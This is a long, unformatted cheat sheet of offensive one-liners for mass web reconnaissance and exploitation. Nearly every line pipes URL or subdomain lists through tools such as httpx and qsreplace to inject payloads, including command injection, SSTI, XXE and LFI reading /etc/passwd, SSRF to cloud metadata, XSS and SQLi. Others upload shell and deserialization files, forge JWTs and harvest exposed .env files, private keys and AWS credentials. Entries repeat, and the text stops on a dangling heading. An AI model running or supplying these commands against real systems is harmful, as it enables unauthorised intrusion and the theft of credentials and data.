cat subdomains.txt | httpx -silent -path-list <(echo -e '/admin\n/dashboard\n/panel\n/cp') -mc 200 -o admin_panels.txt💀 Server Side Template Injection (SSTI)
cat all_urls.txt | qsreplace '{{7*7}}' | httpx -silent -fr '49' -o ssti.txt📋 Path Traversal (../ Disclosure)
cat all_urls.txt | qsreplace '../../../../etc/passwd' | httpx -silent -fr 'root:x' -o path_traversal.txt🐍 Python Pickle Injection (if Flask or Python backend)
cat all_urls.txt | qsreplace '__class__=os.system&cmd=id' | httpx -silent -fr 'uid=' -o pickle_injection.txtCRLF Injection (Header Splitting)
cat all_urls.txt | qsreplace '%0d%0aHeader: evil' | httpx -silent -fr 'Header: evil' -o crlf.txt💾 Exposed Database Admin Panels
cat subdomains.txt | httpx -silent -path-list <(echo -e '/phpmyadmin\n/adminer\n/sql') -mc 200 -o db_admin_panels.txt🧱 File Upload Misconfig (Can upload PHP/JSP)
cat upload_endpoints.txt | xargs -I {} curl -X POST -F '[email protected]' {} -s -o - | grep 'shell_exec' -B 2🕵️♂️ Cloud Metadata API Exposure (AWS/GCP)
cat subdomains.txt | httpx -silent -path /latest/meta-data/ -mc 200 -o metadata_exposed.txt💣 CRLF in Redirect Location Header
cat urls.txt | qsreplace '%0d%0aLocation:%20https://evil.com' | httpx -silent -fr 'evil.com' -o crlf_redirect.txt📑 XSS in JSON Response (Reflected)
cat urls.txt | qsreplace '"><script>alert(1)</script>' | httpx -silent -fr 'alert(1)' -o xss.json.txt🔌 Exposed Internal IPs (Debug Responses)
cat urls.txt | httpx -silent -fr '10\.|172\.|192\.168\.' -o internal_ips.txt🌐 Misconfigured WAF Bypass
cat urls.txt | qsreplace '><script>alert(1)</script>' | httpx -silent -mc 403 -o waf_detected.txt
cat waf_detected.txt | qsreplace '><script>alert(1)</script>' | anew bypass_payloads.txt
cat bypass_payloads.txt | httpx -silent -mc 200 -o waf_bypass.txt📤 Information Disclosure via Verb Tampering
cat subdomains.txt | httpx -silent -method OPTIONS -o verb_tampering.txt🧰 S3 Bucket Discovery via Subdomain Bruteforce
cat subdomains.txt | awk -F. '{print $1"."$2}' | xargs -I {} aws s3 ls s3://{} --no-sign-request 2>/dev/null | tee s3_buckets.txt💧 AWS S3 Bucket Takeover (Subdomain Takeover)
cat subdomains.txt | xargs -I {} host {} | grep 'amazonaws.com' | awk '{print $1}' | httpx -silent -mc 404 -o vulnerable_s3.txt📜 Exposed Swagger/OpenAPI Endpoints
cat subdomains.txt | httpx -silent -path-list <(echo -e '/swagger.json\n/openapi.json\n/api-docs') -mc 200 -o openapi_endpoints.txtPrototype Pollution in Query Params
cat urls.txt | qsreplace '__proto__[evil]=polluted' | httpx -silent -fr 'polluted' -o prototype_pollution.txt💉 SQL Injection (Basic Reflex Check)
cat urls.txt | qsreplace "'" | httpx -silent -fr 'SQL syntax' -o sqli.txt🔗 SSRF (Internal IP Scan via Open Redirect or URL Input)
cat urls.txt | qsreplace 'http://169.254.169.254/latest/meta-data/' | httpx -silent -fr 'ami-id' -o ssrf_aws_metadata.txt🔥 Spring Boot Actuator Exposure (DevOps Misconfig)
cat subdomains.txt | httpx -silent -path /actuator/env -mc 200 -o springboot_actuator_exposed.txtJWT None Algorithm Bypass
cat urls.txt | qsreplace 'eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.' | httpx -silent -fr 'admin' -o jwt_none_bypass.txtFirebase Misconfig (Open Firebase Databases)
cat subdomains.txt | sed 's/$/.firebaseio.com/' | httpx -silent -path /.json -mc 200 -o open_firebase.txt📡 GraphQL Playground/Console Discovery
cat subdomains.txt | httpx -silent -path /graphiql -mc 200 -o graphql_console.txtcat subdomains.txt | httpx -silent -path /services.wsdl -mc 200 -o soap_services.txt📬 Email Injection via Contact Forms
cat urls.txt | qsreplace 'test%0d%0aBCC:[email protected]' | httpx -silent -fr '[email protected]' -o email_injection.txt🕵️♂️ GCP Bucket Enumeration (Public Buckets)
cat subdomains.txt | sed 's/$/.storage.googleapis.com/' | httpx -silent -mc 200 -o gcp_buckets.txt🛠️ Deserialization via File Upload (PHP/JAVA Specific)
cat upload_endpoints.txt | xargs -I {} curl -X POST -F '[email protected]' {} -s -o - | grep 'java.lang' -B 2🔗 IDOR Detection via Incremental IDs
cat urls.txt | qsreplace 'id=123' | anew incremental_ids.txt
cat incremental_ids.txt | qsreplace 'id=124' | httpx -silent -fr 'profile' -o idor_found.txtAzure Blob Storage Enumeration
cat subdomains.txt | sed 's/$/.blob.core.windows.net/' | httpx -silent -mc 200 -o azure_blobs.txt🎯 XXE Injection via File Upload (XML Files)
cat upload_endpoints.txt | xargs -I {} curl -X POST -F '[email protected]' {} -s -o - | grep 'root:' -B 2📊 Exposed Kibana Dashboards (DevOps)
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o exposed_kibana.txtCVE Scanner for Web Targets (Nuclei One-Liner)
cat subdomains.txt | nuclei -silent -t cves/ -o found_cves.txt📈 LFI via Log Poisoning
cat urls.txt | qsreplace '../../../../../../../../var/log/nginx/access.log' | httpx -silent -fr 'GET /' -o log_poisoning_lfi.txt🗄️ Exposed Jenkins Console (DevOps)
cat subdomains.txt | httpx -silent -path /script -mc 200 -o exposed_jenkins.txt📂 Exposed Git Directories (Sensitive Files in .git)
cat subdomains.txt | httpx -silent -path /.git/config -mc 200 -o exposed_git.txt🔥 Open Kibana (Cloud Misconfiguration)
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o open_kibana.txt📤 Exposed Env Files (Secrets Disclosure)
cat subdomains.txt | httpx -silent -path /.env -mc 200 -o exposed_env.txt🗂️ Directory Listing Enabled (Info Disclosure)
cat subdomains.txt | httpx -silent -path / -fr 'Index of /' -o dir_listing.txt💉 Command Injection via Input Parameters
cat urls.txt | qsreplace '$(id)' | httpx -silent -fr 'uid=' -o command_injection.txt🪄 CORS Misconfiguration Check (Origin Reflection)
cat urls.txt | httpx -silent -H 'Origin: https://evil.com' -fr 'https://evil.com' -o cors_misconfig.txt🔗 Open Redirect (URL Parameter Test)
cat urls.txt | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -o open_redirect.txtBackup/Old Files Exposure
cat subdomains.txt | httpx -silent -path-list <(echo -e '/index.php~\n/config.old\n/database.bak') -mc 200 -o exposed_backup_files.txt🕵️ Clickjacking (Missing X-Frame-Options)
cat subdomains.txt | httpx -silent -hx -o headers.txt
cat headers.txt | grep -E "x-frame-options|X-Frame-Options" -i -L > clickjacking_vulnerable.txt⚙️ Misconfigured Jenkins Instances
cat subdomains.txt | httpx -silent -path /script -mc 200 -o exposed_jenkins.txt💾 Open MongoDB Instances (Cloud Exposure)
cat ips.txt | xargs -I{} sh -c 'echo {} && mongosh --host {} --eval "db.stats()"' 2>/dev/null | tee open_mongodb.txtExposed Private Keys (Accidental Disclosure)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/id_rsa\n/keys/privkey.pem\n/.ssh/id_rsa') -mc 200 -o exposed_keys.txtInsecure JSONP Endpoints (Callback Hijacking)
cat urls.txt | qsreplace 'callback=alert(document.domain)' | httpx -silent -fr 'alert(document.domain)' -o jsonp_vulns.txtExposed phpinfo() Files (Info Disclosure)
cat subdomains.txt | httpx -silent -path /phpinfo.php -mc 200 -o exposed_phpinfo.txtRCE via Deserialization (Java/PHP Payloads)
cat upload_urls.txt | xargs -I{} curl -X POST -F '[email protected]' {} -s | grep 'java.lang.Runtime' -o rce_found.txtLFI via Log Files
cat urls.txt | qsreplace '../../../../../../../../var/log/nginx/access.log' | httpx -silent -fr 'GET /' -o log_lfi.txtExposed Docker APIs (DevOps Misconfig)
cat ips.txt | xargs -I{} curl -s -X GET "http://{}:2375/images/json" | grep 'Id' -B 2 | tee exposed_docker.txtAmazon S3 Buckets (Open Buckets)
cat subdomains.txt | sed 's/$/.s3.amazonaws.com/' | httpx -silent -mc 200 -o open_s3_buckets.txtOpen Elasticsearch (DevOps Exposure)
cat ips.txt | xargs -I{} curl -s "http://{}:9200/_cat/indices?v" | grep -v 'master' | tee open_elasticsearch.txtBackup Files in Web Root
cat urls.txt | sed 's/$/.bak/' | httpx -silent -mc 200 -o found_backups.txtXSS in reflected parameters (quick check)
cat urls.txt | qsreplace '<script>alert(1)</script>' | httpx -silent -fr '<script>alert(1)</script>' -o xss_reflected.txtSQL Injection (time-based detection)
cat urls.txt | qsreplace "' AND SLEEP(5)--" | httpx -silent -rt -o sqli_time_based.txtDetect exposed Git repositories (.git folder)
cat subdomains.txt | httpx -silent -path /.git/HEAD -mc 200 -o exposed_git_repos.txtFind Local File Inclusion (LFI)
cat urls.txt | qsreplace '../../../../../../../../etc/passwd' | httpx -silent -fr 'root:x:' -o lfi_found.txtOpen Directory Listing
cat subdomains.txt | httpx -silent -mc 200 -fr 'Index of' -o open_directory_listing.txtFind Open Kibana Dashboards (Internal Leaks)
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o open_kibana.txtSubdomain Takeover (Check NXDOMAIN)
subfinder -d target.com | httpx -silent -sc -o subs_status.txt
cat subs_status.txt | grep 'NXDOMAIN' > takeover_candidates.txtTest for Host Header Injection
cat urls.txt | httpx -silent -H "Host: evil.com" -fr 'evil.com' -o host_header_injection.txtExposed Config Files
cat subdomains.txt | httpx -silent -path-list <(echo -e '/config.php\n/settings.py\n/.env\n/config.json') -mc 200 -o exposed_configs.txtDetecting Exposed Admin Panels
cat subdomains.txt | httpx -silent -path-list <(echo -e '/admin\n/wp-admin\n/console\n/dashboard') -mc 200 -o admin_panels.txtCommand Injection Test
cat urls.txt | qsreplace '$(id)' | httpx -silent -fr 'uid=' -o command_injection.txtCheck for Backup Files (Old Configs)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/db_backup.sql\n/config.old') -mc 200 -o backup_files_found.txtCheck for Open Redis Instances
cat subdomains.txt | httpx -silent -path / -p 6379 -o open_redis_instances.txtTest for Open Proxy Misconfiguration
curl -x http://target.com http://example.com -vXXE Injection Test
cat urls.txt | qsreplace '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' | httpx -silent -fr 'root:x:' -o xxe_found.txtDetect JWT Tokens in Response
cat urls.txt | httpx -silent -fr 'eyJ' -o jwt_leaks.txtServer Version Disclosure (Fingerprinting)
cat subdomains.txt | httpx -silent -server -o server_versions.txtTest PUT Method for File Upload
cat subdomains.txt | httpx -silent -method PUT -path '/test.txt' -body 'test upload' -mc 201,200 -o put_upload_possible.txtCheck for Debug Endpoints
cat subdomains.txt | httpx -silent -path /debug -mc 200 -o debug_endpoints.txtFind Content Security Policy Bypass (Open Wildcards)
cat subdomains.txt | httpx -silent -hx | grep 'Content-Security-Policy' | grep '*'Check for Public .DS_Store Files (Directory Listing)
cat subdomains.txt | httpx -silent -path /.DS_Store -mc 200 -o ds_store_leaks.txtFind Open Jenkins Panels
cat subdomains.txt | httpx -silent -path /jenkins -mc 200 -o open_jenkins.txtDetect Internal IP Leaks in Response
cat urls.txt | httpx -silent -fr '10.' -o internal_ip_leak.txtSearch for Open API Documentation (Swagger)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/swagger-ui.html\n/api-docs\n/openapi.json') -mc 200 -o open_api_docs.txtFind Exposed .env Files (Sensitive Configs)
cat subdomains.txt | httpx -silent -path /.env -mc 200 -o exposed_env.txtDetect Exposed MySQL Dumps
cat subdomains.txt | httpx -silent -path /db.sql -mc 200 -o mysql_dumps.txtCheck for Misconfigured CORS (Allow-All)
cat urls.txt | httpx -silent -H 'Origin: https://evil.com' -fr 'Access-Control-Allow-Origin: https://evil.com' -o cors_misconfig.txtFind Exposed Adminer (DB Management Interface)
cat subdomains.txt | httpx -silent -path /adminer.php -mc 200 -o exposed_adminer.txtSearch for Exposed Backup Files (.bak)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/index.php.bak\n/config.bak\n/db.bak') -mc 200 -o backup_files.txtSearch for Test/Dev Subdomains (Staging)
subfinder -d target.com | grep -Ei 'dev|test|staging|qa' > staging_subdomains.txtDetect Open RDP Servers (Network Exposures)
cat ips.txt | naabu -p 3389 -silent -o open_rdp.txtDetect AWS S3 Buckets via Subdomains
cat subdomains.txt | grep -E 's3.amazonaws.com|amazonaws' > s3_buckets.txtIdentify Weak Security Headers (Lack of CSP, HSTS)
cat urls.txt | httpx -silent -hx | grep -v -E 'Strict-Transport-Security|Content-Security-Policy' > weak_headers.txtCheck for Exposed Docker API
cat ips.txt | naabu -p 2375 -silent -o open_docker_api.txtFind Open Grafana Dashboards
cat subdomains.txt | httpx -silent -path /login -mc 200 -fr 'Grafana' -o open_grafana.txtCheck for Public PHP Info Pages (Leaking Config)
cat urls.txt | httpx -silent -path /phpinfo.php -mc 200 -o phpinfo_exposed.txtFind Exposed Laravel Debug Panels
cat subdomains.txt | httpx -silent -path /_debugbar -mc 200 -o laravel_debug.txtLook for Open ElasticSearch (Data Exposure)
cat ips.txt | naabu -p 9200 -silent -o open_elasticsearch.txtIdentify Directory Traversal (Simple Payload)
cat urls.txt | qsreplace '../../../../../etc/passwd' | httpx -silent -fr 'root:x:' -o directory_traversal.txtFind Open Kibana Dashboards (Sensitive Logs)
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o open_kibana.txtDetect Exposed Wordpress Debug Logs
cat subdomains.txt | httpx -silent -path /wp-content/debug.log -mc 200 -o wp_debug_logs.txtFind Exposed FTP Servers (Anonymous Access)
cat ips.txt | naabu -p 21 -silent -o open_ftp.txtDetect Open MongoDB Databases (No Auth)
cat ips.txt | naabu -p 27017 -silent -o open_mongo.txtIdentify Open PhpMyAdmin Panels
cat subdomains.txt | httpx -silent -path /phpmyadmin -mc 200 -o open_phpmyadmin.txtSearch for Backup Files with Extensions (.bak, .old)
cat subdomains.txt | gauplus | grep -E '\.bak|\.old|\.backup' > backup_files_found.txtCheck for Open Directories (Index of Listings)
cat subdomains.txt | httpx -silent -mc 200 -fr 'Index of /' -o open_directories.txtFind Public GraphQL Endpoints (API Leaks)
cat subdomains.txt | httpx -silent -path /graphql -mc 200 -o open_graphql.txtIdentify Misconfigured AWS Bucket via Headers
cat urls.txt | httpx -silent -hx | grep -i 'x-amz' > aws_bucket_leaks.txtCheck for Publicly Accessible Jenkins Script Console
cat subdomains.txt | httpx -silent -path /script -mc 200 -o jenkins_script_console.txtCheck for Exposed SVN Files
cat subdomains.txt | httpx -silent -path /.svn/entries -mc 200 -o svn_leaks.txtFind Publicly Exposed Config.json Files
cat subdomains.txt | httpx -silent -path /config.json -mc 200 -o config_json_exposed.txtIdentify Unauthenticated Redis Servers
cat ips.txt | naabu -p 6379 -silent -o open_redis.txtDetect Exposed Private Keys in URLs
cat urls.txt | grep -Ei 'private_key|id_rsa|pem' > private_key_leaks.txtSearch for Open API Keys in URLs
cat urls.txt | grep -Ei 'apikey|api_key|token' > exposed_api_keys.txtDetect Exposed .bash_history Files
cat subdomains.txt | httpx -silent -path /.bash_history -mc 200 -o bash_history_exposed.txtCheck for Open etc/passwd via LFI
cat urls.txt | qsreplace '../../../../../etc/passwd' | httpx -silent -fr 'root:x:' -o lfi_passwd.txtFind Open Exposed Backup ZIP Files
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/site_backup.zip\n/db_backup.zip') -mc 200 -o backup_zip_exposed.txtDetect Exposed Logs (server.log, error.log)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/server.log\n/error.log\n/application.log') -mc 200 -o exposed_logs.txtFind Publicly Accessible Admin Panels (General)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/admin\n/administrator\n/admin/login\n/admin.php\n/adminer.php') -mc 200 -o open_admin_panels.txtDetect Exposed YAML Config Files
cat subdomains.txt | httpx -silent -path-list <(echo -e '/config.yaml\n/application.yaml') -mc 200 -o exposed_yaml.txtCheck for Directory Traversal to Windows Files
cat urls.txt | qsreplace 'C:\Windows\win.ini' | httpx -silent -fr 'for 16-bit app support' -o windows_lfi.txtFind Open Jupyter Notebooks (No Auth)
cat subdomains.txt | httpx -silent -path /tree -mc 200 -o open_jupyter.txtIdentify Server Error Pages (500 Errors)
cat urls.txt | httpx -silent -mc 500 -o server_errors.txtCheck for Open SNMP Services
cat ips.txt | naabu -p 161 -silent -o open_snmp.txtFind Exposed Laravel Environment Files (.env)
cat subdomains.txt | httpx -silent -path /.env -mc 200 -o exposed_env_files.txtDetect Git Repository Exposures (.git/config)
cat subdomains.txt | httpx -silent -path /.git/config -mc 200 -o exposed_git_configs.txtLook for Exposed Dockerfiles
cat subdomains.txt | httpx -silent -path /Dockerfile -mc 200 -o exposed_dockerfiles.txtIdentify Publicly Accessible AWS Credentials
cat subdomains.txt | httpx -silent -path /aws/credentials -mc 200 -o exposed_aws_credentials.txtSearch for Backup Database Dumps (SQL, SQLite)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/db.sql\n/database.sql\n/dump.sql\n/backup.db') -mc 200 -o db_dumps.txtDetect Exposed SSL Certificates (pem)
cat subdomains.txt | httpx -silent -path /ssl/cert.pem -mc 200 -o exposed_ssl.txtFind Open Configuration.php Files (Joomla)
cat subdomains.txt | httpx -silent -path /configuration.php -mc 200 -o joomla_config_exposed.txtHunt for Open Jenkins Dashboards
cat subdomains.txt | httpx -silent -path /jenkins -mc 200 -o open_jenkins.txtDetect Exposed Magento Admin Panels
cat subdomains.txt | httpx -silent -path /admin -mc 200 -o magento_admin.txtCheck for Exposed API Documentation (Swagger UI)
cat subdomains.txt | httpx -silent -path /swagger-ui.html -mc 200 -o swagger_exposed.txtDetect GitLab or GitHub Enterprise Instances
cat subdomains.txt | httpx -silent -path /users/sign_in -mc 200 -o gitlab_or_ghe.txtFind Misconfigured CORS (Wildcard)
cat urls.txt | httpx -silent -H "Origin: https://evil.com" -fr 'Access-Control-Allow-Origin: https://evil.com' -o cors_misconfig.txtScan for Server Status Pages (Apache/Nginx)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/server-status\n/nginx_status') -mc 200 -o server_status_exposed.txtIdentify Exposed Debug Pages (PHP Info)
cat subdomains.txt | httpx -silent -path /phpinfo.php -mc 200 -o phpinfo_exposed.txtDetect Open Redis Stats Pages (Unprotected UI)
cat subdomains.txt | httpx -silent -path /redis -mc 200 -o redis_ui_exposed.txtScan for Exposed Kubernetes Dashboard
cat subdomains.txt | httpx -silent -path /api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/ -mc 200 -o k8s_dashboard_exposed.txtLook for GraphQL Playground
cat subdomains.txt | httpx -silent -path /playground -mc 200 -o graphql_playground_exposed.txtFind Exposed OpenAPI Spec Files (openapi.json)
cat subdomains.txt | httpx -silent -path /openapi.json -mc 200 -o openapi_exposed.txtScan for Exposed GCP Metadata Servers
cat ips.txt | naabu -p 80,443 -silent | httpx -path /computeMetadata/v1/ -H 'Metadata-Flavor: Google' -mc 200 -o gcp_metadata_exposed.txtFind Exposed Jenkins Console Logs
cat subdomains.txt | httpx -silent -path /console -mc 200 -o jenkins_console_logs.txtCheck for Open Jira Dashboards (Exposed Tickets)
cat subdomains.txt | httpx -silent -path /secure/Dashboard.jspa -mc 200 -o jira_exposed.txtDetect Exposed Env Variables via /env (SpringBoot)
cat subdomains.txt | httpx -silent -path /env -mc 200 -o springboot_env_exposed.txtFind Misconfigured GitHub Actions Workflows (YAML)
cat subdomains.txt | gauplus | grep -Ei '.github/workflows/.*\.yml' > github_workflows_exposed.txtScan for Default Admin Credentials on Login Pages
cat urls.txt | nuclei -t cves/ -tags 'default-login' -o default_creds.txtCheck for Misconfigured Prometheus Servers
cat subdomains.txt | httpx -silent -path /graph -mc 200 -o prometheus_exposed.txtFind Exposed Backup Files (ZIP, TAR, SQL)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/backup.tar.gz\n/dump.sql') -mc 200 -o exposed_backups.txtDetect Exposed Open Directory Listings
cat subdomains.txt | httpx -silent -fr '<title>Index of /' -o open_directories.txtFind Open Jenkins Script Console (RCE Point)
cat subdomains.txt | httpx -silent -path /script -mc 200 -o jenkins_script_console.txtScan for Exposed Kubernetes Kubelet APIs (Unauth Access)
cat ips.txt | httpx -silent -path /pods -mc 200 -o kubelet_exposed.txtLook for Apache Struts Vulnerable Endpoints
cat subdomains.txt | httpx -silent -path /struts2-showcase/index.action -mc 200 -o struts_vuln.txtIdentify Open Tomcat Manager Consoles
cat subdomains.txt | httpx -silent -path /manager/html -mc 200 -o tomcat_manager_open.txtDetect CVE-2021-3129 (Laravel Debug Mode RCE)
cat subdomains.txt | httpx -silent -path /_ignition/execute-solution -mc 200 -o laravel_rce.txtFind Exposed Config.json / settings.json
cat subdomains.txt | httpx -silent -path-list <(echo -e '/config.json\n/settings.json') -mc 200 -o exposed_json_configs.txtCheck for Outdated WordPress (Version Leak)
cat subdomains.txt | httpx -silent -path /readme.html -mc 200 -o wordpress_version.txtFind Exposed Log Files (.log)
cat subdomains.txt | httpx -silent -path /error.log -mc 200 -o exposed_logs.txtDetect Misconfigured GraphQL Endpoints (Introspection Enabled)
cat subdomains.txt | httpx -silent -path /graphql -H 'Content-Type: application/json' -d '{"query":"query IntrospectionQuery {__schema { queryType { name }}}"}' -o graphql_introspection_enabled.txtScan for Exposed Config.php in WordPress / Joomla
cat subdomains.txt | httpx -silent -path /wp-config.php -mc 200 -o wp_config_exposed.txtDetect Open API Endpoints (via common paths)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/api/v1/\n/api/\n/api/v2/\n/app_dev.php/api/') -mc 200 -o open_api_endpoints.txtCheck for Exposed GitHub Personal Access Tokens (PATs)
cat subdomains.txt | gauplus | grep -E 'token=[a-z0-9]+' > github_tokens_leak.txtFind Misconfigured AWS Buckets (S3)
cat subdomains.txt | httpx -silent -path / -mc 200 -o s3_buckets_exposed.txtScan for Exposed Laravel Log Files
cat subdomains.txt | httpx -silent -path /storage/logs/laravel.log -mc 200 -o laravel_log_exposed.txtCheck for Outdated Apache Version via Server Header
cat subdomains.txt | httpx -silent -fr 'Server: Apache/2.4' -o outdated_apache.txtDetect PHPMyAdmin Open Login Pages
cat subdomains.txt | httpx -silent -path /phpmyadmin -mc 200 -o phpmyadmin_open.txtLook for Unprotected Kibana Instances
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o kibana_open.txtScan for Public Grafana Dashboards
cat subdomains.txt | httpx -silent -path /login -mc 200 -o grafana_login_open.txtSearch for Common Backup Extensions (bak, old, save)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/index.php.bak\n/config.old\n/config.save') -mc 200 -o backup_files_exposed.txtFind Misconfigured ElasticSearch Instances (Public Index)
cat ips.txt | httpx -silent -path /_cat/indices?v -mc 200 -o elasticsearch_exposed.txtLook for Exposed Jenkins Build Logs
cat subdomains.txt | httpx -silent -path /job/test/lastBuild/consoleText -mc 200 -o jenkins_build_logs.txtFind Open Adminer DB Management Tools
cat subdomains.txt | httpx -silent -path /adminer.php -mc 200 -o adminer_exposed.txtDetect Exposed SVN Directories
cat subdomains.txt | httpx -silent -path /.svn/entries -mc 200 -o svn_exposed.txtDetect Exposed .git Repos (Source Code Leak)
cat subdomains.txt | httpx -silent -path /.git/config -mc 200 -o git_exposed.txtFind Sensitive Files using common patterns (env, db creds, ssh keys)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/.env\n/database.yml\n/id_rsa\n/config.php\n/secrets.yml') -mc 200 -o sensitive_files.txtDetect Exposed Docker and Kubernetes Dashboard
cat subdomains.txt | httpx -silent -path-list <(echo -e '/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy\n/docker') -mc 200 -o kube_docker_exposed.txtScan for Exposed Environment Variables in Responses
cat subdomains.txt | httpx -silent -fr 'AWS_ACCESS_KEY_ID|SECRET_KEY|DB_PASSWORD' -o secrets_in_response.txtFind Public Swagger API Documentation (API Discovery)
cat subdomains.txt | httpx -silent -path /swagger.json -mc 200 -o swagger_exposed.txtCheck for Exposed Server-Status Pages (Apache/Nginx Debug Info)
cat subdomains.txt | httpx -silent -path /server-status -mc 200 -o server_status_exposed.txtScan for Open Redis, Memcached, MongoDB Ports (Unauth Access)
naabu -list subdomains.txt -ports 6379,11211,27017 -silent -o open_db_ports.txtIdentify Publicly Accessible .DS_Store (File Disclosure)
cat subdomains.txt | httpx -silent -path /.DS_Store -mc 200 -o ds_store_exposed.txtFind Exposed Wordpress Debug Log (Sensitive Info)
cat subdomains.txt | httpx -silent -path /wp-content/debug.log -mc 200 -o wp_debug_log.txtCheck for Exposed Internal IP in Responses (SSR Leak)
cat subdomains.txt | httpx -silent -fr '10\.|192\.168\.|172\.' -o internal_ip_leak.txtFind Laravel Env Leak via Incorrect Env Handler
cat subdomains.txt | httpx -silent -path /.env -mc 200 -o laravel_env_leak.txtScan for Exposed Backup Folders
cat subdomains.txt | httpx -silent -path /backup -mc 200 -o backup_folder_exposed.txtLook for Open Joomla Installers
cat subdomains.txt | httpx -silent -path /installation/index.php -mc 200 -o joomla_installer.txtDetect Exposed Debug Pages (debug=true)
cat subdomains.txt | httpx -silent -fr 'debug=true' -o debug_pages.txtFind Open Jira Dashboards
cat subdomains.txt | httpx -silent -path /secure/Dashboard.jspa -mc 200 -o jira_open.txtScan for Exposed Backup Files (config.old, index.bak)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/config.old\n/index.bak\n/wp-config.php.save') -mc 200 -o backup_leaks.txtDetect Open Admin Portals (Common Paths)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/admin\n/login\n/dashboard\n/console') -mc 200 -o open_admin_portals.txtFind Exposed Debug Toolbar (Django Debug)
cat subdomains.txt | httpx -silent -path /__debug__/ -mc 200 -o django_debug_toolbar.txtDetect Open Directories with Readable Files
cat subdomains.txt | httpx -silent -fr '<title>Index of /' -o open_directory_listing.txtIdentify Exposed Proxy Logs (Squid / HAProxy)
cat subdomains.txt | httpx -silent -path /var/log/squid/access.log -mc 200 -o proxy_logs_exposed.txtCheck for Public WebSockets Endpoints (Leaky API)
cat subdomains.txt | httpx -silent -path /socket.io -mc 200 -o websocket_exposed.txtFind Public GraphQL Consoles (Interactive API)
cat subdomains.txt | httpx -silent -path /graphiql -mc 200 -o graphiql_open.txtScan for Open Hadoop Resource Manager
cat subdomains.txt | httpx -silent -path /ws/v1/cluster/info -mc 200 -o hadoop_exposed.txtDetect Exposed PHPInfo Pages (Info Disclosure)
cat subdomains.txt | httpx -silent -path /phpinfo.php -mc 200 -o phpinfo_exposed.txtFind Publicly Accessible Wordpress XMLRPC (Brute Force Possible)
cat subdomains.txt | httpx -silent -path /xmlrpc.php -mc 200 -o xmlrpc_open.txtDetect Open ElasticSearch Instances (Data Exposure)
naabu -list subdomains.txt -p 9200 -silent | httpx -silent -path /_cat/indices?v -mc 200 -o open_elasticsearch.txtScan for Open Kubernetes Config (Cluster Info Leak)
cat subdomains.txt | httpx -silent -path /.kube/config -mc 200 -o kube_config_exposed.txtFind GraphQL Endpoints with Introspection Enabled
cat subdomains.txt | httpx -silent -path /graphql -mc 200 -fr 'Introspection' -o graphql_introspection.txtDetect Misconfigured CORS (Allow-Origin: )
cat subdomains.txt | httpx -silent -H "Origin: https://evil.com" -fr 'Access-Control-Allow-Origin: \*' -o cors_misconfig.txtLook for Exposed Adminer (DB Management Tool)
cat subdomains.txt | httpx -silent -path /adminer.php -mc 200 -o adminer_exposed.txtDetect Open Redis Commander UI (Unauth Control)
cat subdomains.txt | httpx -silent -path /redis/ -mc 200 -o redis_ui_exposed.txtFind Public GitLab CI/CD Config (Pipeline Disclosure)
cat subdomains.txt | httpx -silent -path /.gitlab-ci.yml -mc 200 -o gitlab_ci_exposed.txtScan for Open Debug Mode in Flask Apps
cat subdomains.txt | httpx -silent -path /console -mc 200 -o flask_debug_console.txtDetect Open Exim/Webmin Panels
cat subdomains.txt | httpx -silent -path-list <(echo -e '/exim\n/webmin') -mc 200 -o open_exim_webmin.txtFind Exposed Laravel Log Files (App Key Disclosure)
cat subdomains.txt | httpx -silent -path /storage/logs/laravel.log -mc 200 -o laravel_logs_exposed.txtDetect Public AWS Config Files (Credentials Leak)
cat subdomains.txt | httpx -silent -path /.aws/credentials -mc 200 -o aws_creds_exposed.txtIdentify Open Favicon Files and Fingerprint Services
cat subdomains.txt | httpx -silent -path /favicon.ico -o favicons/ && for icon in favicons/*; do shasum -a 256 $icon; doneCheck for Exposed GitHub Workflow Files (.github/workflows)
cat subdomains.txt | httpx -silent -path /.github/workflows/ -mc 200 -o github_workflows_exposed.txtFind Jenkins Consoles with Anon Access
cat subdomains.txt | httpx -silent -path /script -mc 200 -o jenkins_console.txtScan for Default Tomcat Admin Panels
cat subdomains.txt | httpx -silent -path /manager/html -mc 200 -o tomcat_admin_exposed.txtLook for Public Backup Files (tar/zip dumps)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/backup.tar.gz\n/db.sql') -mc 200 -o exposed_backups.txtCheck for Exposed Laravel Telescope Panels
cat subdomains.txt | httpx -silent -path /telescope -mc 200 -o laravel_telescope.txtFind Exposed VNC/TeamViewer/Web RDP
naabu -list subdomains.txt -p 5900,3389 -silent -o remote_access_ports.txtDetect Open Grafana Panels (Unauth Access)
cat subdomains.txt | httpx -silent -path /login -mc 200 -fr 'Grafana' -o open_grafana.txtScan for Misconfigured API Endpoints
cat subdomains.txt | nuclei -t misconfiguration/api-misconfiguration.yaml -o api_misconfigs.txtIdentify Exposed Internal DNS Resolvers
cat subdomains.txt | dnsx -a -resp-only -silent | grep -E '10\.|192\.168\.|172\.' -o internal_dns.txtDetect Anonymous FTP Access (File Exposure)
nmap -p 21 --script ftp-anon -iL subdomains.txt -oN ftp_anon_scan.txtFind Exposed Configuration Pages (config.php)
